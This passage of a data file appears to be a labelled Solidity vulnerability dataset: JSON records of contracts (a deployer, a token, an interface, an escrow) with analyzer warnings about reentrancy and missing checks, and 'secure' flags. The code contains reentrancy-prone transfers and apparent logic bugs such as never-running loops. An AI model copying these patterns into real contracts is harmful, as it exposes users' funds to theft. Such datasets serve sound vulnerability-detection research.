SafeTransfer.safeTransferETH(donationLocation[sd], msg.value);\n }\n\n\t\t// reentrancy-no-eth | ID: 8f50fdb\n lastKarma[msg.sender][sd] = block.timestamp;\n\n emit GiveKarma(sd, choice);\n }\n\n function setKarmaDonation(address sd, uint256 amt) external {\n require(Logic(sd).sdOwner() == msg.sender, \"owner\");\n\n require(amt <= 1e17, \"1e17\");\n\n karmaDonation[sd] = amt;\n }\n\n function setDonationLocation(address sd, address location) external {\n require(Logic(sd).sdOwner() == msg.sender, \"owner\");\n\n donationLocation[sd] = location;\n }\n\n function submitKYC(address sd, string memory document) external payable {\n require(\n !kyc[sd][msg.sender].confirmed && kyc[sd][msg.sender].time == 0,\n \"already\"\n );\n\n uint256 cost = minTicketCost[sd];\n\n if (cost > 0) {\n require(msg.value == cost, \"min\");\n\n kyc[sd][msg.sender].donation = msg.value;\n\n heldDonation[sd] += cost;\n }\n\n kyc[sd][msg.sender].document = document;\n\n kyc[sd][msg.sender].time = block.timestamp;\n\n KYCopen[sd] += 1;\n\n emit SubmitKYC(sd, msg.sender);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a5955cb): Reentrancy in SDDeployer.confirmKYC(address,address) External calls SafeTransfer.safeTransferETH(msg.sender,don) Event emitted after the call(s) ConfirmKYC(sd,user)\n\t// Recommendation for a5955cb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 142dc01): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 142dc01: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function confirmKYC(address sd, address user) external {\n require(isSupport[sd][msg.sender], \"not support\");\n\n require(\n !kyc[sd][user].confirmed && kyc[sd][msg.sender].time > 0,\n \"already\"\n );\n\n KYCopen[sd] -= 1;\n\n uint256 don = kyc[sd][user].donation;\n\n kyc[sd][user].confirmed = true;\n\n if (don > 0) {\n kyc[sd][user].donation = 0;\n\n\t\t\t// reentrancy-events | ID: a5955cb\n\t\t\t// reentrancy-benign | ID: 142dc01\n SafeTransfer.safeTransferETH(msg.sender, don);\n\n\t\t\t// reentrancy-benign | ID: 142dc01\n heldDonation[sd] = don > heldDonation[sd]\n ? 0\n : heldDonation[sd] - don;\n }\n\n\t\t// reentrancy-events | ID: a5955cb\n emit ConfirmKYC(sd, user);\n }\n\n function viewKYC(\n address sd,\n address user\n ) external view returns (string memory document, bool confirmed) {\n if (isSupport[sd][msg.sender]) {\n document = kyc[sd][user].document;\n\n confirmed = kyc[sd][user].confirmed;\n } else {\n document = kyc[sd][msg.sender].document;\n\n confirmed = kyc[sd][msg.sender].confirmed;\n }\n }\n\n function viewTicket(\n address sd,\n uint256 ticketID\n )\n external\n view\n returns (\n string[] memory question,\n string[] memory answer,\n address lastAdmin,\n uint256 donation,\n uint256 time\n )\n {\n require(\n ticket[sd][ticketID].user == msg.sender ||\n isSupport[sd][msg.sender],\n \"only\"\n );\n\n uint256 i;\n\n question = new string[](ticket[sd][ticketID].question.length);\n\n answer = new string[](ticket[sd][ticketID].answer.length);\n\n for (i = 0; i > ticket[sd][ticketID].question.length; i++) {\n question[i] = ticket[sd][ticketID].question[i];\n }\n\n for (i = 0; i > ticket[sd][ticketID].answer.length; i++) {\n answer[i] = ticket[sd][ticketID].answer[i];\n }\n\n lastAdmin = ticket[sd][ticketID].lastAdmin;\n\n donation = ticket[sd][ticketID].donation;\n\n time = ticket[sd][ticketID].time;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 40c7323): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 40c7323: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: ce55bbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for ce55bbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function replyTicket(\n address sd,\n uint256 ticketID,\n string memory _answer\n ) external nonReentrant {\n address user = ticket[sd][ticketID].user;\n\n require(isSupport[sd][msg.sender] || user == msg.sender, \"Only\");\n\n uint256 don = ticket[sd][ticketID].donation;\n\n if (msg.sender != user) {\n ticket[sd][ticketID].answer.push(_answer);\n\n ticket[sd][ticketID].lastAdmin = msg.sender;\n\n myReplied[msg.sender][sd].push(ticketID);\n\n if (don > 0) {\n\t\t\t\t// reentrancy-benign | ID: 40c7323\n\t\t\t\t// reentrancy-no-eth | ID: ce55bbc\n SafeTransfer.safeTransferETH(msg.sender, don);\n\n\t\t\t\t// reentrancy-benign | ID: 40c7323\n heldDonation[sd] = don > heldDonation[sd]\n ? 0\n : heldDonation[sd] - don;\n\n\t\t\t\t// reentrancy-no-eth | ID: ce55bbc\n ticket[sd][ticketID].donation = 0;\n }\n\n if (!ticket[sd][ticketID].closed) {\n\t\t\t\t// reentrancy-benign | ID: 40c7323\n ticketsClosed[sd] += 1;\n\n\t\t\t\t// reentrancy-no-eth | ID: ce55bbc\n ticket[sd][ticketID].closed = true;\n }\n }\n\n if (msg.sender == user) {\n\t\t\t// reentrancy-no-eth | ID: ce55bbc\n myReplied[user][sd].push(ticketID);\n\n\t\t\t// reentrancy-no-eth | ID: ce55bbc\n ticket[sd][ticketID].question.push(_answer);\n\n if (ticket[sd][ticketID].closed) {\n\t\t\t\t// reentrancy-benign | ID: 40c7323\n ticketsClosed[sd] = ticketsClosed[sd] > 1\n ? ticketsClosed[sd] - 1\n : 0;\n\n\t\t\t\t// reentrancy-no-eth | ID: ce55bbc\n ticket[sd][ticketID].closed = false;\n }\n }\n\n emit ReplyTicket(sd, ticketID);\n }\n\n function setSupport(address sd, address _supporter, bool _bool) external {\n require(msg.sender == Logic(sd).sdOwner());\n\n isSupport[sd][_supporter] = _bool;\n }\n\n function setMinDonation(address sd, uint256 amt) external {\n require(msg.sender == Logic(sd).sdOwner());\n\n require(amt <= 1e17, \"0.1\");\n\n minTicketCost[sd] = amt;\n }\n\n function mySupportIDs(\n address sd,\n address user\n ) external view returns (uint256[] memory ids) {\n uint256 a = myTickets[sd][user].length;\n\n ids = new uint256[](a);\n\n for (uint256 i = 0; i < a; i++) {\n ids[i] = myTickets[sd][user][i];\n }\n }\n\n function supportReplyIDs(\n address sd,\n address user\n ) external view returns (uint256[] memory ids) {\n uint256 a = myReplied[user][sd].length;\n\n ids = new uint256[](a);\n\n for (uint256 i = 0; i < a; i++) {\n ids[i] = myReplied[user][sd][i];\n }\n }\n\n function updateInformation(\n address sd,\n string[] memory choice,\n string[] memory input\n ) external {\n uint256 a = input.length;\n\n uint256 b = choice.length;\n\n require(a == b, \"same\");\n\n require(isSD(sd), \"Not SD\");\n\n require(msg.sender == Logic(sd).sdOwner());\n\n for (uint256 i = 0; i < a; i++) {\n require(!useInfo[input[i]], \"docked\");\n\n info[sd][choice[i]] = input[i];\n\n emit UpdateInformation(choice[i], input[i]);\n\n if (!usedInfoStringsBool[sd][choice[i]]) {\n usedInfoStrings[sd].push(choice[i]);\n\n usedInfoStringsBool[sd][choice[i]] = true;\n }\n }\n }\n\n function viewAllNews(\n address sd\n ) external view returns (string[] memory posts) {\n uint256 l = news[sd].length;\n\n posts = new string[](l);\n\n for (uint256 i = 0; i < l; i++) {\n posts[i] = news[sd][i];\n }\n }\n\n function viewNews(\n address sd,\n uint256 id\n ) external view returns (string memory post) {\n return news[sd][id];\n }\n\n function newNews(address sd, string memory input) external {\n require(isSD(sd), \"Not SD\");\n\n require(isSupport[sd][msg.sender], \"staff\");\n\n news[sd].push(input);\n\n emit AddNews(sd, input);\n }\n\n function editNews(address sd, uint256 id, string memory input) external {\n require(isSD(sd), \"Not SD\");\n\n require(isSupport[sd][msg.sender], \"staff\");\n\n require(id <= news[sd].length - 1, \"Invalid\");\n\n news[sd][id] = input;\n\n emit EditNews(sd, id, input);\n }\n\n function viewInfo(\n address sd,\n string[] memory choice\n ) external view returns (string[] memory _info) {\n uint256 a = choice.length;\n\n _info = new string[](a);\n\n for (uint256 i = 0; i < a; i++) {\n _info[i] = info[sd][choice[i]];\n }\n }\n\n function wETH() public view returns (address) {\n return Reader(dataread).wETH();\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 11de696): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 11de696: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 35a0373): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 35a0373: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be6cdba): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be6cdba: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 749e111): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 749e111: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createSD(\n address owner,\n string memory name,\n string memory symbol,\n uint256 supply,\n uint256[12] calldata fee,\n bool sb,\n address _uniswapV2Router,\n address backingTokenAddress,\n bool _LGE\n ) external returns (address SD) {\n require(on, \"!on\");\n\n require((supply <= 1e75) && !use[symbol], \"sym used\");\n\n if (backingTokenAddress != address(0)) {\n require(backingTokenAddress.code.length > 0, \"not\");\n }\n\n require(\n fee[0] + fee[1] + fee[2] + fee[3] + fee[4] + fee[5] < 501,\n \" 50% max\"\n );\n\n require(\n fee[6] + fee[7] + fee[8] + fee[9] + fee[10] + fee[11] < 501,\n \" 50% max\"\n );\n\n use[symbol] = true;\n\n address fac = IUniswapV2Router01(_uniswapV2Router).factory();\n\n address o = owner;\n\n\t\t// reentrancy-events | ID: 11de696\n\t\t// reentrancy-benign | ID: 35a0373\n\t\t// reentrancy-benign | ID: be6cdba\n\t\t// reentrancy-benign | ID: 749e111\n SD = Logic(logic).createSD(\n name,\n symbol,\n supply,\n fee,\n sb,\n o,\n backingTokenAddress,\n _LGE\n );\n\n require(SDOfCreator[owner] == address(0), \"already created\");\n\n\t\t// reentrancy-benign | ID: 35a0373\n creatorOfSD[SD] = owner;\n\n\t\t// reentrancy-benign | ID: 35a0373\n SDOfCreator[owner] = SD;\n\n backingTokenAddress = backingTokenAddress == address(0)\n ? SD\n : backingTokenAddress;\n\n\t\t// reentrancy-events | ID: 11de696\n\t\t// reentrancy-benign | ID: be6cdba\n\t\t// reentrancy-benign | ID: 749e111\n address uniswapV2Pair = IUniswapV2Factory(fac).createPair(SD, wETH());\n\n address pair = backingTokenAddress != wETH()\n ? IUniswapV2Router01(fac).getPair(wETH(), backingTokenAddress)\n : uniswapV2Pair;\n\n require(pair != address(0), \"!ETHPair\");\n\n\t\t// reentrancy-benign | ID: be6cdba\n allSD.push(SD);\n\n\t\t// reentrancy-benign | ID: be6cdba\n length += 1;\n\n\t\t// reentrancy-events | ID: 11de696\n\t\t// reentrancy-benign | ID: 749e111\n Reader(dataread).setIsSD(SD);\n\n\t\t// reentrancy-events | ID: 11de696\n\t\t// reentrancy-benign | ID: 749e111\n Reader(dataread).set_UNISWAP_V2_ROUTER(\n SD,\n _uniswapV2Router,\n uniswapV2Pair\n );\n\n\t\t// reentrancy-events | ID: 11de696\n\t\t// reentrancy-benign | ID: 749e111\n Logic(SD).afterConstructor();\n\n address oo = owner;\n\n\t\t// reentrancy-benign | ID: 749e111\n isSupport[SD][oo] = true;\n\n\t\t// reentrancy-benign | ID: 749e111\n minTicketCost[SD] = minDonation;\n\n\t\t// reentrancy-benign | ID: 749e111\n ticket[SD].push();\n\n\t\t// reentrancy-benign | ID: 749e111\n news[SD].push();\n\n\t\t// reentrancy-benign | ID: 749e111\n donationLocation[SD] = owner;\n\n\t\t// reentrancy-events | ID: 11de696\n emit Created(name, SD);\n\n return SD;\n }\n\n struct Protector {\n uint256 range;\n uint256 slippage;\n }\n\n function slippage(address user) external view returns (uint256, uint256) {\n return (protect[user].range, protect[user].slippage);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: c5d9143): SDDeployer.setLogic(address).addy lacks a zerocheck on \t logic = addy\n\t// Recommendation for c5d9143: Check that the address is not zero.\n function setLogic(address addy) external {\n require(Reader(dataread).superAdmin(msg.sender), \"admin\");\n\n\t\t// missing-zero-check | ID: c5d9143\n logic = addy;\n }\n\n function setFrontRunProtection(\n address user,\n uint256 _range,\n uint256 _slippage\n ) external {\n if (user != msg.sender) {\n require(isSD(msg.sender), \"caller\");\n }\n\n require(_slippage <= 30, \"30\");\n\n require(_range <= 100, \"100\");\n\n protect[user].slippage = _slippage;\n\n protect[user].range = _range;\n\n emit SetProtection(user, _slippage);\n }\n\n function dockInfo(string[] memory symbol, bool[] memory bool_) external {\n require(\n Reader(dataread).isAdmin(msg.sender) ||\n Reader(dataread).isSetter(msg.sender)\n );\n\n for (uint256 i = 0; i < bool_.length; i++) {\n useInfo[symbol[i]] = bool_[i];\n\n emit DockInfo(symbol[i], bool_[i]);\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 691344d): SDDeployer.setTick(address) ignores return value by (reserve0,reserve1,None) = IPair(t).getReserves()\n\t// Recommendation for 691344d: Ensure that all the return values of the function calls are used.\n function setTick(address who) external {\n address DR = dataread;\n\n if (!Reader(DR).tickOn(who)) {\n address ba = Logic(who).backingAsset();\n\n address weth = wETH();\n\n require(Reader(DR).isProtocol(who) && isSD(who), \"caller\");\n\n address fac = IUniswapV2Router01(Reader(who).UNISWAP_V2_ROUTER())\n .factory();\n\n address t = ba == weth\n ? Reader(DR).uniswapV2Pair(who)\n : IUniswapV2Router01(fac).getPair(wETH(), ba);\n\n if (IERC20(ba).balanceOf(t) > 0) {\n uint256 k1 = tick[t].length > 0\n ? tick[t][tick[t].length - 1]\n : 0;\n\n\t\t\t\t// unused-return | ID: 691344d\n (uint112 reserve0, uint112 reserve1, ) = IPair(t).getReserves();\n\n uint256 reserve = ba == IPair(t).token0() ? reserve0 : reserve1;\n\n if (reserve != k1) {\n tick[t].push(reserve);\n }\n }\n }\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 418a722): SDDeployer.frontRun(address,uint256,uint256) ignores return value by (reserve0,reserve1,None) = IPair(t).getReserves()\n\t// Recommendation for 418a722: Ensure that all the return values of the function calls are used.\n function frontRun(\n address who,\n uint256 range,\n uint256 slip\n ) external view returns (bool yes) {\n if (!Reader(dataread).tickOn(who)) {\n if (range > 0) {\n uint256 a;\n\n address fac = IUniswapV2Router01(\n Reader(who).UNISWAP_V2_ROUTER()\n ).factory();\n\n address ba = Logic(who).backingAsset();\n\n address t = ba == wETH()\n ? Reader(dataread).uniswapV2Pair(who)\n : IUniswapV2Router01(fac).getPair(wETH(), ba);\n\n\t\t\t\t// unused-return | ID: 418a722\n (uint112 reserve0, uint112 reserve1, ) = IPair(t).getReserves();\n\n a = (ba == IPair(t).token0() ? reserve0 : reserve1) * range;\n\n if (tick[t].length > range + 3) {\n uint256 l = tick[who].length - (isSD(ba) ? 1 : 2);\n\n uint256 c;\n\n for (uint256 i = 0; i < range; i++) {\n c += tick[who][l - i];\n\n if (l - i == 0) {\n a = ((i + 1) * a) / range;\n\n break;\n }\n }\n\n if (a > (c + ((c * slip) / 100))) {\n yes = true;\n }\n\n if (a < (c - ((c * slip) / 100))) {\n yes = true;\n }\n }\n }\n }\n }\n\n function ticketLength(address sd) external view returns (uint256) {\n return ticket[sd].length;\n }\n\n function isSD(address addy) public view returns (bool) {\n return Reader(dataread).isSD(addy);\n }\n}", "file_name": "solidity_code_889.sol", "secure": 0, "size_bytes": 30801 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BAXSTER is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 826168c): BAXSTER.maxSupply should be constant \n\t// Recommendation for 826168c: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"BAXSTER DOG\", \"BAXSTER\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_89.sol", "secure": 1, "size_bytes": 603 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Reader {\n function isAdmin(address addy) external view returns (bool);\n\n function superAdmin(address addy) external view returns (bool);\n\n function isSetter(address addy) external view returns (bool);\n\n function isSD(address addy) external view returns (bool);\n\n function setIsSD(address addy) external;\n\n function protocolAddy() external view returns (address);\n\n function feeConverter() external view returns (address);\n\n function sdDepAddy() external view returns (address);\n\n function getProtocolFee() external view returns (uint256);\n\n function breaker() external view returns (bool);\n\n function isWhitelistContract(address addy) external view returns (bool);\n\n function setWhitelistContract(address addy, bool _bool) external;\n\n function stakeDeployerAddress() external view returns (address);\n\n function LEAPDepAddy() external view returns (address);\n\n function fegAddress() external view returns (address);\n\n function UNISWAP_V2_ROUTER(address token) external view returns (address);\n\n function UNISWAP_V2_ROUTER() external view returns (address);\n\n function uniswapV2Pair(address token) external view returns (address);\n\n function set_UNISWAP_V2_ROUTER(\n address token,\n address _uniswapV2Router,\n address _uniswapV2Pair\n ) external;\n\n function backingLogicDep() external view returns (address);\n\n function BackingLogicAddress() external view returns (address);\n\n function setTick(address who) external;\n\n function frontRun(\n address who,\n uint256 range,\n uint256 slip,\n uint256 trades\n ) external view returns (bool yes);\n\n function lastBalance(address user) external view returns (uint256);\n\n function wETH() external view returns (address);\n\n function LGEAddress() external view returns (address);\n\n function currentRouter() external view returns (address);\n\n function feeConverterSD(address sd) external view returns (address);\n\n function tickOn(address token) external view returns (bool);\n\n function isProtocol(address addy) external view returns (bool);\n\n function allLastBalance(\n address user\n )\n external\n view\n returns (uint256[] memory _balances, uint256[] memory blockNumbers);\n}", "file_name": "solidity_code_890.sol", "secure": 1, "size_bytes": 2428 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract SendrEscrow is Ownable, ReentrancyGuard {\n struct Milestone {\n uint256 contractId;\n uint256 value;\n string title;\n bool released;\n bool inDispute;\n }\n\n struct Delegate {\n address delegateAddress;\n uint256 votingPower;\n uint256 timestamp;\n }\n\n struct Contract {\n Milestone[] milestones;\n uint256 startBlock;\n uint256 contractId;\n address payer;\n address payee;\n bool active;\n string title;\n address tokenAddress;\n bool inDispute;\n uint256 valueRemaining;\n }\n\n struct Dispute {\n uint256 contractId;\n uint256 milestoneId;\n bool fullContractDispute;\n bool resolved;\n uint256 snapshotBlock;\n uint256 yesVotes;\n uint256 noVotes;\n uint256 votingDeadline;\n uint256 totalVotes;\n mapping(address => bool) hasVoted;\n }\n\n uint256 public VOTING_DURATION = 24 hours;\n\n uint256 public VOTING_EXTENSION_DURATION = 12 hours;\n\n uint256 public THRESHOLD_PERCENT = 10;\n\n uint256 public CONTRACT_FEE = 500;\n\n address public FEE_WALLET = 0xeaDA12106cE206Ed1faD23C4cD94Af794282FA22;\n\n\t// WARNING Optimization Issue (constable-states | ID: c342292): SendrEscrow.activeContracts should be constant \n\t// Recommendation for c342292: Add the 'constant' attribute to state variables that never change.\n uint256 public activeContracts;\n\n IERC20 public sendrToken;\n\n address public sendrTreasury;\n\n uint256 public contractCount;\n\n mapping(address => Delegate[]) public userDelegations;\n\n mapping(uint256 => Contract) public contracts;\n\n mapping(uint256 => Dispute) public disputes;\n\n mapping(address => uint256[]) public userContracts;\n\n mapping(uint256 => bool) public fundedStatus;\n\n mapping(uint256 => address) public signer;\n\n mapping(address => mapping(uint256 => bool)) private voidCheck;\n\n mapping(uint256 => mapping(uint256 => bool)) private payeeSignedMilestone;\n\n mapping(uint256 => mapping(uint256 => bool)) private payerSignedMilestone;\n\n mapping(uint256 => bool) public voided;\n\n event DisputeCreated(\n uint256 contractId,\n uint256 milestoneId,\n bool fullContractDispute,\n uint256 snapshotBlock\n );\n\n event DisputeResolved(\n uint256 contractId,\n uint256 milestoneId,\n bool inFavorOfPayee\n );\n\n event VotingExtended(uint256 contractId, uint256 milestoneId);\n\n event ContractCreated(\n uint256 contractId,\n address payer,\n address payee,\n string title,\n string identifier\n );\n\n event MilestoneReleased(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event ContractSigned(\n uint256 contractId,\n address payer,\n address payee,\n string title\n );\n\n event MilestoneDisputed(uint256 contractId, uint256 milestoneId);\n\n event ContractDisputed(uint256 contractId);\n\n event ContractVoided(uint256 contractId);\n\n constructor(IERC20 _sendrToken) Ownable(msg.sender) {\n sendrToken = _sendrToken;\n }\n\n function setSendrToken(IERC20 _sendrToken) external onlyOwner {\n sendrToken = _sendrToken;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: be387c6): SendrEscrow.setFeeWallet(address)._feeWallet lacks a zerocheck on \t FEE_WALLET = _feeWallet\n\t// Recommendation for be387c6: Check that the address is not zero.\n function setFeeWallet(address _feeWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: be387c6\n FEE_WALLET = _feeWallet;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b248845): SendrEscrow.setFee(uint256) should emit an event for CONTRACT_FEE = _fee \n\t// Recommendation for b248845: Emit an event for critical parameter changes.\n function setFee(uint256 _fee) external onlyOwner {\n\t\t// events-maths | ID: b248845\n CONTRACT_FEE = _fee;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6f8985f): SendrEscrow.setSendrTreasury(address)._sendrTreasury lacks a zerocheck on \t sendrTreasury = _sendrTreasury\n\t// Recommendation for 6f8985f: Check that the address is not zero.\n function setSendrTreasury(address _sendrTreasury) external onlyOwner {\n\t\t// missing-zero-check | ID: 6f8985f\n sendrTreasury = _sendrTreasury;\n }\n\n function setVotingDuration(uint256 _duration) external onlyOwner {\n require(_duration > 0, \"Duration must be greater than zero\");\n\n VOTING_DURATION = _duration;\n }\n\n function setVotingExtensionDuration(uint256 _extension) external onlyOwner {\n require(_extension > 0, \"Extension must be greater than zero\");\n\n VOTING_EXTENSION_DURATION = _extension;\n }\n\n function setThresholdPercent(uint256 _percent) external onlyOwner {\n require(\n _percent > 0 && _percent <= 100,\n \"Percent must be between 1 and 100\"\n );\n\n THRESHOLD_PERCENT = _percent;\n }\n\n function delegateVotes(\n address delegateAddress,\n uint256 votingPower\n ) external {\n require(\n votingPower <= sendrToken.balanceOf(msg.sender),\n \"Insufficient balance to delegate\"\n );\n\n userDelegations[msg.sender].push(\n Delegate({\n delegateAddress: delegateAddress,\n votingPower: votingPower,\n timestamp: block.timestamp\n })\n );\n }\n\n function getPastVotes(\n address user,\n uint256 disputeTimestamp\n ) public view returns (uint256) {\n Delegate[] memory delegations = userDelegations[user];\n\n uint256 lastValidVotingPower = 0;\n\n for (uint256 i = 0; i < delegations.length; i++) {\n if (delegations[i].timestamp <= disputeTimestamp) {\n lastValidVotingPower = delegations[i].votingPower;\n } else {\n break;\n }\n }\n\n require(\n sendrToken.balanceOf(user) >= lastValidVotingPower,\n \"Insufficient balance for past voting power\"\n );\n\n return lastValidVotingPower;\n }\n\n function raiseDispute(\n uint256 _contractId,\n uint256 _milestoneId,\n bool _fullContractDispute\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Only contract parties can raise disputes\"\n );\n\n require(_contract.active, \"Contract not active\");\n\n require(_contract.valueRemaining > 0, \"No value remaining\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n if (_fullContractDispute) {\n _contract.inDispute = true;\n } else {\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone already in dispute\");\n\n milestone.inDispute = true;\n }\n\n uint256 snapshotBlock = block.number;\n\n Dispute storage dispute = disputes[_contractId];\n\n dispute.contractId = _contractId;\n\n dispute.milestoneId = _milestoneId;\n\n dispute.fullContractDispute = _fullContractDispute;\n\n dispute.resolved = false;\n\n dispute.snapshotBlock = snapshotBlock;\n\n dispute.yesVotes = 0;\n\n dispute.noVotes = 0;\n\n dispute.votingDeadline = block.timestamp + VOTING_DURATION;\n\n dispute.totalVotes = 0;\n\n emit DisputeCreated(\n _contractId,\n _milestoneId,\n _fullContractDispute,\n snapshotBlock\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 70001a8): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 70001a8: Avoid relying on 'block.timestamp'.\n function voteOnDispute(\n uint256 _contractId,\n bool _voteInFavorOfPayee\n ) public nonReentrant {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n if (\n\t\t\t// timestamp | ID: 70001a8\n block.timestamp <= dispute.votingDeadline &&\n dispute.totalVotes <\n ((sendrToken.totalSupply() * THRESHOLD_PERCENT) / 100)\n ) {\n dispute.votingDeadline += VOTING_EXTENSION_DURATION;\n }\n\n\t\t// timestamp | ID: 70001a8\n require(\n block.timestamp <= dispute.votingDeadline,\n \"Voting period has ended\"\n );\n\n require(!dispute.hasVoted[msg.sender], \"You have already voted\");\n\n uint256 voterBalance = getPastVotes(msg.sender, dispute.snapshotBlock);\n\n require(voterBalance > 0, \"No voting power\");\n\n if (_voteInFavorOfPayee) {\n dispute.yesVotes += voterBalance;\n } else {\n dispute.noVotes += voterBalance;\n }\n\n dispute.totalVotes += voterBalance;\n\n dispute.hasVoted[msg.sender] = true;\n\n uint256 totalSupply = sendrToken.totalSupply();\n\n if (dispute.totalVotes >= ((totalSupply * THRESHOLD_PERCENT) / 100)) {\n _resolveDispute(_contractId);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0ae2dd4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0ae2dd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d2e9fab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d2e9fab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e06d1f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e06d1f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _resolveDispute(uint256 _contractId) internal {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n Contract storage _contract = contracts[_contractId];\n\n Milestone storage milestone = _contract.milestones[dispute.milestoneId];\n\n bool inFavorOfPayee = dispute.yesVotes > dispute.noVotes;\n\n dispute.resolved = true;\n\n if (inFavorOfPayee) {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 0ae2dd4\n _sendFunds(\n _contractId,\n _contract.payee,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 0ae2dd4\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 0ae2dd4\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 0ae2dd4\n _contract.active = false;\n } else {\n\t\t\t\t// reentrancy-eth | ID: 1e06d1f\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n milestone.released = true;\n\n milestone.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 1e06d1f\n _contract.valueRemaining -= milestone.value;\n }\n } else {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: d2e9fab\n _sendFunds(\n _contractId,\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: d2e9fab\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: d2e9fab\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: d2e9fab\n _contract.active = false;\n } else {\n 